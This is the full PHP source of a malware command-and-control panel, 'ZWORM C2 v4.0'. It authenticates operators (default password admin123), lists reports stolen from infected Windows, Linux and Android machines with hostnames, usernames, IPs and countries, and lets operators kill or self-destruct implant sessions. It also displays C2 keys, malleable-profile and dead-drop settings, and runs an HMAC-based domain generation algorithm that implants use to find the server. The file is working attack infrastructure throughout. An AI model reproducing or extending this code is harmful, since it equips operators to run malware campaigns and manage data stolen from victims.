<?php
/*
 * ZWORM C2 Admin Panel v4.0 — Advanced C2 Dashboard
 * Features:
 *   - Multi-session management with live status
 *   - DGA domain generation visualization
 *   - Kill switch / self-destruct controls
 *   - Malleable C2 profile switching
 *   - Operator authentication (multi-user)
 *   - Real-time session monitoring
 *   - Auto-refresh dashboard
 *   - Platform filtering (Windows/Linux/Android)
 *   - GeoIP tracking per session
 */

session_start();
$CONFIG = require __DIR__ . '/config.php';
$LOG_DIR = $CONFIG['log_dir'];
$SESSION_DIR = $CONFIG['session_dir'] ?? $LOG_DIR . '/sessions';
$OPERATORS = $CONFIG['operators'] ?? ['admin' => ['password' => 'admin123', 'role' => 'admin', 'permissions' => ['view','delete','kill','config']]];

if (!isset($_SESSION['auth'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        $user = $_POST['username'] ?? 'admin';
        if (isset($OPERATORS[$user]) && $OPERATORS[$user]['password'] === $_POST['password']) {
            $_SESSION['auth'] = true;
            $_SESSION['user'] = $user;
            $_SESSION['role'] = $OPERATORS[$user]['role'];
            $_SESSION['perms'] = $OPERATORS[$user]['permissions'];
        }
    }
    if (!isset($_SESSION['auth'])) {
        show_login();
        exit;
    }
}

$action = $_GET['action'] ?? 'dashboard';
switch ($action) {
    case 'logout': session_destroy(); header('Location: ?'); exit;
    case 'log': show_log($_GET['file'] ?? ''); exit;
    case 'delete': if (has_perm('delete')) { delete_log($_GET['file'] ?? ''); } header('Location: ?action=dashboard'); exit;
    case 'api': header('Content-Type: application/json'); echo json_encode(get_stats()); exit;
    case 'sessions': show_sessions(); exit;
    case 'kill_session': if (has_perm('kill')) kill_session($_GET['id'] ?? ''); header('Location: ?action=sessions'); exit;
    case 'kill_all': if (has_perm('kill')) kill_all_sessions(); header('Location: ?action=sessions'); exit;
    case 'config': if (has_perm('config')) show_config(); exit;
    case 'dga': show_dga(); exit;
    default: show_dashboard(); exit;
}


function has_perm($p) {
    return isset($_SESSION['perms']) && in_array($p, $_SESSION['perms']);
}


function show_login() {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZWORM C2 — Login</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0a;color:#e0e0e0;font-family:Consolas,monospace;display:flex;justify-content:center;align-items:center;min-height:100vh}
.login{background:#141414;border:1px solid #222;border-radius:12px;padding:40px;width:380px}
h1{color:#00ff41;font-size:24px;margin-bottom:8px}
.sub{color:#666;font-size:12px;margin-bottom:24px}
input{width:100%;padding:12px;background:#0a0a0a;border:1px solid #222;border-radius:8px;color:#e0e0e0;font-family:inherit;font-size:14px;margin-bottom:12px}
input:focus{outline:none;border-color:#00ff41}
button{width:100%;padding:14px;background:#00ff41;color:#000;border:none;border-radius:8px;font-family:inherit;font-size:14px;font-weight:bold;cursor:pointer}
button:hover{background:#00cc33}
</style>
</head>
<body>
<div class="login">
<h1>ZWORM C2</h1>
<div class="sub">Command & Control Panel v4.0</div>
<form method="POST">
<input type="text" name="username" placeholder="Username" value="admin" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">LOGIN</button>
</form>
</div>
</body></html>
<?php
}


function get_stats() {
    global $LOG_DIR, $SESSION_DIR;
    $stats = ['total' => 0, 'windows' => 0, 'linux' => 0, 'android' => 0,
              'today' => 0, 'active_sessions' => 0, 'total_size' => 0, 'reports' => []];
    $today = date('Y-m-d');
    $ips = [];

    if (is_dir($LOG_DIR)) {
        foreach (glob("$LOG_DIR/*.json") as $f) {
            $d = json_decode(file_get_contents($f), true);
            if (!$d) continue;
            $stats['total']++;
            $p = $d['platform'] ?? 'windows';
            if (isset($stats[$p])) $stats[$p]++;
            $ts = substr($d['timestamp'] ?? $d['received_at'] ?? '', 0, 10);
            if ($ts === $today) $stats['today']++;
            $ip = $d['ip'] ?? $d['public_ip'] ?? '';
            if ($ip) $ips[$ip] = true;
            $basename = basename($f);
            $log_f = str_replace('.json', '.log', $f);
            $stats['total_size'] += @filesize($log_f) ?: 0;
            $stats['reports'][] = [
                'file' => $basename, 'platform' => $p,
                'hostname' => $d['hostname'] ?? '', 'username' => $d['username'] ?? '',
                'ip' => $ip, 'os' => $d['os'] ?? '', 'country' => $d['country'] ?? $d['geo']['cc'] ?? '',
                'date' => $d['timestamp'] ?? $d['received_at'] ?? '',
                'session' => $d['session_id'] ?? '',
            ];
        }
    }

    if (is_dir($SESSION_DIR)) {
        foreach (glob("$SESSION_DIR/*.json") as $f) {
            $s = json_decode(file_get_contents($f), true);
            if ($s && ($s['status'] ?? '') === 'active') $stats['active_sessions']++;
        }
    }

    $stats['unique_ips'] = count($ips);
    $stats['total_size_fmt'] = format_size($stats['total_size']);
    return $stats;
}


function show_dashboard() {
    $s = get_stats();
    $u = $_SESSION['user'] ?? 'admin';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZWORM C2 — Dashboard</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0a;color:#e0e0e0;font-family:Consolas,monospace}
.top{background:#141414;border-bottom:1px solid #222;padding:12px 24px;display:flex;justify-content:space-between;align-items:center}
.top h1{color:#00ff41;font-size:18px}
.top a{color:#666;text-decoration:none;margin-left:16px;font-size:12px}
.top a:hover{color:#00ff41}
.nav{background:#111;padding:8px 24px;display:flex;gap:16px;border-bottom:1px solid #222}
.nav a{color:#666;text-decoration:none;font-size:12px;padding:6px 12px;border-radius:6px}
.nav a:hover,.nav a.active{color:#00ff41;background:#1a1a1a}
.grid{display:grid;grid-template-columns:repeat(4,1fr);gap:12px;padding:16px 24px}
.card{background:#141414;border:1px solid #222;border-radius:10px;padding:20px}
.card h3{color:#666;font-size:11px;text-transform:uppercase;margin-bottom:8px}
.card .val{font-size:28px;font-weight:bold}
.card .val.green{color:#00ff41}
.card .val.cyan{color:#00ccff}
.card .val.orange{color:#ffaa00}
.card .val.red{color:#ff4141}
.table-wrap{padding:0 24px 24px}
table{width:100%;border-collapse:collapse;background:#141414;border-radius:10px;overflow:hidden;border:1px solid #222}
th{background:#1a1a1a;color:#666;font-size:11px;text-transform:uppercase;padding:10px 12px;text-align:left}
td{padding:10px 12px;border-top:1px solid #222;font-size:13px}
tr:hover{background:#1a1a1a}
.tag{display:inline-block;padding:2px 8px;border-radius:4px;font-size:10px;font-weight:bold}
.tag.win{background:#00ff4120;color:#00ff41}
.tag.linux{background:#ffaa0020;color:#ffaa00}
.tag.android{background:#00ccff20;color:#00ccff}
.tag.active{background:#00ff4120;color:#00ff41}
.tag.dead{background:#ff414120;color:#ff4141}
a.btn{display:inline-block;padding:4px 10px;background:#222;color:#e0e0e0;border-radius:4px;text-decoration:none;font-size:11px}
a.btn:hover{background:#333}
a.btn.danger{color:#ff4141}
</style>
<script>setTimeout(()=>location.reload(),15000)</script>
</head>
<body>
<div class="top">
<h1>ZWORM C2 <span style="color:#666;font-size:12px">v4.0</span></h1>
<div><span style="color:#666;font-size:12px"><?= htmlspecialchars($u) ?></span><a href="?action=logout">LOGOUT</a></div>
</div>
<div class="nav">
<a href="?" class="active">DASHBOARD</a>
<a href="?action=sessions">SESSIONS</a>
<a href="?action=dga">DGA</a>
<?php if (has_perm('config')): ?><a href="?action=config">CONFIG</a><?php endif; ?>
</div>
<div class="grid">
<div class="card"><h3>Total Reports</h3><div class="val green"><?= $s['total'] ?></div></div>
<div class="card"><h3>Today</h3><div class="val cyan"><?= $s['today'] ?></div></div>
<div class="card"><h3>Active Sessions</h3><div class="val orange"><?= $s['active_sessions'] ?></div></div>
<div class="card"><h3>Total Size</h3><div class="val"><?= $s['total_size_fmt'] ?></div></div>
</div>
<div class="grid">
<div class="card"><h3>Windows</h3><div class="val green"><?= $s['windows'] ?></div></div>
<div class="card"><h3>Linux</h3><div class="val orange"><?= $s['linux'] ?></div></div>
<div class="card"><h3>Android</h3><div class="val cyan"><?= $s['android'] ?></div></div>
<div class="card"><h3>Unique IPs</h3><div class="val"><?= $s['unique_ips'] ?? 0 ?></div></div>
</div>
<div class="table-wrap">
<table>
<tr><th>Platform</th><th>Hostname</th><th>User</th><th>IP</th><th>Country</th><th>Date</th><th>Actions</th></tr>
<?php foreach ($s['reports'] as $r): ?>
<tr>
<td><span class="tag <?= $r['platform'] ?>"><?= strtoupper($r['platform']) ?></span></td>
<td><?= htmlspecialchars($r['hostname']) ?></td>
<td><?= htmlspecialchars($r['username']) ?></td>
<td><?= htmlspecialchars($r['ip']) ?></td>
<td><?= htmlspecialchars($r['country']) ?></td>
<td style="color:#666;font-size:11px"><?= $r['date'] ?></td>
<td>
<a href="?action=log&file=<?= urlencode($r['file']) ?>" class="btn">VIEW</a>
<?php if (has_perm('delete')): ?>
<a href="?action=delete&file=<?= urlencode($r['file']) ?>" class="btn danger" onclick="return confirm('Delete?')">DEL</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
</body></html>
<?php
}


function show_sessions() {
    global $SESSION_DIR;
    $sessions = [];
    if (is_dir($SESSION_DIR)) {
        foreach (glob("$SESSION_DIR/*.json") as $f) {
            $s = json_decode(file_get_contents($f), true);
            if ($s) $sessions[] = $s;
        }
    }
    usort($sessions, fn($a,$b) => strcmp($b['last_seen'] ?? '', $a['last_seen'] ?? ''));
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZWORM C2 — Sessions</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0a;color:#e0e0e0;font-family:Consolas,monospace}
.top{background:#141414;border-bottom:1px solid #222;padding:12px 24px;display:flex;justify-content:space-between;align-items:center}
.top h1{color:#00ff41;font-size:18px}
.top a{color:#666;text-decoration:none;margin-left:16px;font-size:12px}
.nav{background:#111;padding:8px 24px;display:flex;gap:16px;border-bottom:1px solid #222}
.nav a{color:#666;text-decoration:none;font-size:12px;padding:6px 12px;border-radius:6px}
.nav a:hover,.nav a.active{color:#00ff41;background:#1a1a1a}
.table-wrap{padding:16px 24px}
table{width:100%;border-collapse:collapse;background:#141414;border-radius:10px;overflow:hidden;border:1px solid #222}
th{background:#1a1a1a;color:#666;font-size:11px;text-transform:uppercase;padding:10px 12px;text-align:left}
td{padding:10px 12px;border-top:1px solid #222;font-size:13px}
tr:hover{background:#1a1a1a}
.tag{display:inline-block;padding:2px 8px;border-radius:4px;font-size:10px;font-weight:bold}
.tag.active{background:#00ff4120;color:#00ff41}
.tag.dead{background:#ff414120;color:#ff4141}
a.btn{display:inline-block;padding:4px 10px;background:#222;color:#e0e0e0;border-radius:4px;text-decoration:none;font-size:11px}
a.btn:hover{background:#333}
a.btn.danger{color:#ff4141;background:#ff414120}
</style>
<script>setTimeout(()=>location.reload(),10000)</script>
</head>
<body>
<div class="top">
<h1>Active Sessions</h1>
<div>
<?php if (has_perm('kill')): ?>
<a href="?action=kill_all" class="btn danger" onclick="return confirm('KILL ALL SESSIONS?')" style="margin-right:8px">KILL ALL</a>
<?php endif; ?>
<a href="?action=dashboard">DASHBOARD</a>
</div>
</div>
<div class="nav">
<a href="?action=dashboard">DASHBOARD</a>
<a href="?action=sessions" class="active">SESSIONS</a>
<a href="?action=dga">DGA</a>
</div>
<div class="table-wrap">
<table>
<tr><th>Session</th><th>Platform</th><th>IP</th><th>Hostname</th><th>User</th><th>Status</th><th>Reports</th><th>First Seen</th><th>Last Seen</th><th>Actions</th></tr>
<?php foreach ($sessions as $s): ?>
<tr>
<td style="font-size:11px;color:#666"><?= htmlspecialchars(substr($s['session_id'] ?? '', 0, 16)) ?>...</td>
<td><span class="tag <?= $s['platform'] ?? 'windows' ?>"><?= strtoupper($s['platform'] ?? '?') ?></span></td>
<td><?= htmlspecialchars($s['ip'] ?? '') ?></td>
<td><?= htmlspecialchars($s['hostname'] ?? '') ?></td>
<td><?= htmlspecialchars($s['username'] ?? '') ?></td>
<td><span class="tag <?= ($s['status'] ?? '') === 'active' ? 'active' : 'dead' ?>"><?= strtoupper($s['status'] ?? 'unknown') ?></span></td>
<td><?= $s['report_count'] ?? 0 ?></td>
<td style="font-size:11px;color:#666"><?= $s['first_seen'] ?? '' ?></td>
<td style="font-size:11px;color:#666"><?= $s['last_seen'] ?? '' ?></td>
<td>
<?php if (has_perm('kill')): ?>
<a href="?action=kill_session&id=<?= urlencode($s['session_id'] ?? '') ?>" class="btn danger" onclick="return confirm('Kill this session?')">KILL</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($sessions)): ?>
<tr><td colspan="10" style="text-align:center;color:#666;padding:40px">No active sessions</td></tr>
<?php endif; ?>
</table>
</div>
</body></html>
<?php
}


function show_dga() {
    global $CONFIG;
    $seed = $CONFIG['dga_seed'] ?? 'zworm_default_seed';
    $day = date('Ymd');
    $domains = generate_dga($seed, $day, 30, $CONFIG['dga_domains'] ?? []);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZWORM C2 — DGA</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0a;color:#e0e0e0;font-family:Consolas,monospace}
.top{background:#141414;border-bottom:1px solid #222;padding:12px 24px;display:flex;justify-content:space-between;align-items:center}
.top h1{color:#00ff41;font-size:18px}
.nav{background:#111;padding:8px 24px;display:flex;gap:16px;border-bottom:1px solid #222}
.nav a{color:#666;text-decoration:none;font-size:12px;padding:6px 12px;border-radius:6px}
.nav a:hover,.nav a.active{color:#00ff41;background:#1a1a1a}
.content{padding:24px}
.info{background:#141414;border:1px solid #222;border-radius:10px;padding:20px;margin-bottom:16px}
.info h3{color:#00ff41;font-size:14px;margin-bottom:8px}
.info p{color:#666;font-size:12px;line-height:1.6}
.domains{display:grid;grid-template-columns:repeat(3,1fr);gap:8px}
.dom{background:#141414;border:1px solid #222;border-radius:6px;padding:10px 14px;font-size:12px;color:#00ff41}
</style>
</head>
<body>
<div class="top"><h1>Domain Generation Algorithm</h1><a href="?action=dashboard">DASHBOARD</a></div>
<div class="nav">
<a href="?action=dashboard">DASHBOARD</a>
<a href="?action=sessions">SESSIONS</a>
<a href="?action=dga" class="active">DGA</a>
</div>
<div class="content">
<div class="info">
<h3>DGA Configuration</h3>
<p>Seed: <strong><?= htmlspecialchars($seed) ?></strong><br>
Day: <strong><?= $day ?></strong><br>
Domains Generated: <strong><?= count($domains) ?></strong><br>
Implants try each domain in sequence until one resolves to the C2 server.</p>
</div>
<h3 style="color:#666;font-size:12px;margin-bottom:12px">Generated Domains (Day: <?= $day ?>)</h3>
<div class="domains">
<?php foreach ($domains as $d): ?>
<div class="dom"><?= htmlspecialchars($d) ?></div>
<?php endforeach; ?>
</div>
</div>
</body></html>
<?php
}


function kill_session($sid) {
    global $SESSION_DIR;
    if (empty($sid)) return;
    $fp = "$SESSION_DIR/{$sid}.json";
    if (file_exists($fp)) {
        $s = json_decode(file_get_contents($fp), true);
        $s['status'] = 'killed';
        $s['self_destruct'] = true;
        $s['killed_at'] = date('c');
        file_put_contents($fp, json_encode($s, JSON_PRETTY_PRINT));
    }
}


function kill_all_sessions() {
    global $SESSION_DIR;
    if (!is_dir($SESSION_DIR)) return;
    foreach (glob("$SESSION_DIR/*.json") as $f) {
        $s = json_decode(file_get_contents($f), true);
        $s['status'] = 'killed';
        $s['self_destruct'] = true;
        $s['killed_at'] = date('c');
        file_put_contents($f, json_encode($s, JSON_PRETTY_PRINT));
    }
}


function show_config() {
    global $CONFIG;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZWORM C2 — Config</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0a;color:#e0e0e0;font-family:Consolas,monospace}
.top{background:#141414;border-bottom:1px solid #222;padding:12px 24px;display:flex;justify-content:space-between;align-items:center}
.top h1{color:#00ff41;font-size:18px}
.nav{background:#111;padding:8px 24px;display:flex;gap:16px;border-bottom:1px solid #222}
.nav a{color:#666;text-decoration:none;font-size:12px;padding:6px 12px;border-radius:6px}
.nav a:hover,.nav a.active{color:#00ff41;background:#1a1a1a}
.content{padding:24px}
.cfg{background:#141414;border:1px solid #222;border-radius:10px;padding:20px;margin-bottom:12px}
.cfg h3{color:#00ff41;font-size:13px;margin-bottom:8px}
.cfg .row{display:flex;justify-content:space-between;padding:6px 0;border-bottom:1px solid #1a1a1a;font-size:12px}
.cfg .row .k{color:#666}
.cfg .row .v{color:#e0e0e0}
.badge{display:inline-block;padding:2px 8px;border-radius:4px;font-size:10px;background:#ff414120;color:#ff4141}
.badge.on{background:#00ff4120;color:#00ff41}
</style>
</head>
<body>
<div class="top"><h1>Configuration</h1><a href="?action=dashboard">DASHBOARD</a></div>
<div class="nav">
<a href="?action=dashboard">DASHBOARD</a>
<a href="?action=sessions">SESSIONS</a>
<a href="?action=dga">DGA</a>
<a href="?action=config" class="active">CONFIG</a>
</div>
<div class="content">
<div class="cfg">
<h3>Core</h3>
<div class="row"><span class="k">C2 Key</span><span class="v"><?= htmlspecialchars($CONFIG['c2_key'] ?? '') ?></span></div>
<div class="row"><span class="k">DGA Seed</span><span class="v"><?= htmlspecialchars($CONFIG['dga_seed'] ?? '') ?></span></div>
<div class="row"><span class="k">Malleable Profile</span><span class="v"><?= htmlspecialchars($CONFIG['malleable_profile'] ?? 'jquery_cdn') ?></span></div>
<div class="row"><span class="k">Kill Switch</span><span class="v"><span class="badge <?= ($CONFIG['kill_switch'] ?? false) ? 'on' : '' ?>"><?= ($CONFIG['kill_switch'] ?? false) ? 'ACTIVE' : 'OFF' ?></span></span></div>
<div class="row"><span class="k">Dead Drop</span><span class="v"><span class="badge <?= ($CONFIG['dead_drop_enabled'] ?? false) ? 'on' : '' ?>"><?= ($CONFIG['dead_drop_enabled'] ?? false) ? 'ENABLED' : 'DISABLED' ?></span></span></div>
<div class="row"><span class="k">Beacon Jitter</span><span class="v"><?= $CONFIG['beacon_jitter_percent'] ?? 30 ?>%</span></div>
<div class="row"><span class="k">Session TTL</span><span class="v"><?= $CONFIG['session_ttl'] ?? 86400 ?>s</span></div>
</div>
<div class="cfg">
<h3>Operators</h3>
<?php foreach ($CONFIG['operators'] ?? [] as $name => $op): ?>
<div class="row"><span class="k"><?= htmlspecialchars($name) ?></span><span class="v"><?= htmlspecialchars($op['role']) ?> — <?= implode(', ', $op['permissions']) ?></span></div>
<?php endforeach; ?>
</div>
<p style="color:#666;font-size:11px;margin-top:16px">Edit config.php to modify settings.</p>
</div>
</body></html>
<?php
}


function generate_dga($seed, $day, $count, $tlds = []) {
    if (empty($tlds)) $tlds = ['.com', '.net', '.org', '.xyz', '.top'];
    $domains = [];
    $hash = hash_hmac('sha256', $seed . $day, 'zworm_dga_key');
    for ($i = 0; $i < $count; $i++) {
        $h = hash_hmac('sha256', $hash . dechex($i), 'zworm_dga_sub');
        $name = substr(preg_replace('/[^a-z]/', '', strtolower($h)), 0, rand(8, 16));
        $domains[] = $name . ($tlds[$i % count($tlds)]);
    }
    return $domains;
}


function show_log($filename) {
    global $LOG_DIR;
    if (empty($filename) || strpos($filename, '..') !== false) { echo 'Invalid'; return; }
    $fp = "$LOG_DIR/$filename";
    if (!file_exists($fp)) { echo 'Not found'; return; }
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if ($ext === 'json') {
        header('Content-Type: application/json');
        readfile($fp);
    } else {
        header('Content-Type: text/plain');
        readfile($fp);
    }
}


function delete_log($filename) {
    global $LOG_DIR;
    if (empty($filename) || strpos($filename, '..') !== false) return;
    $log = "$LOG_DIR/$filename";
    $json = str_replace('.log', '.json', $log);
    if (file_exists($log)) @unlink($log);
    if (file_exists($json)) @unlink($json);
}


function format_size($b) {
    $u = ['B','KB','MB','GB']; $i = 0;
    while ($b >= 1024 && $i < 3) { $b /= 1024; $i++; }
    return round($b, 1) . ' ' . $u[$i];
}
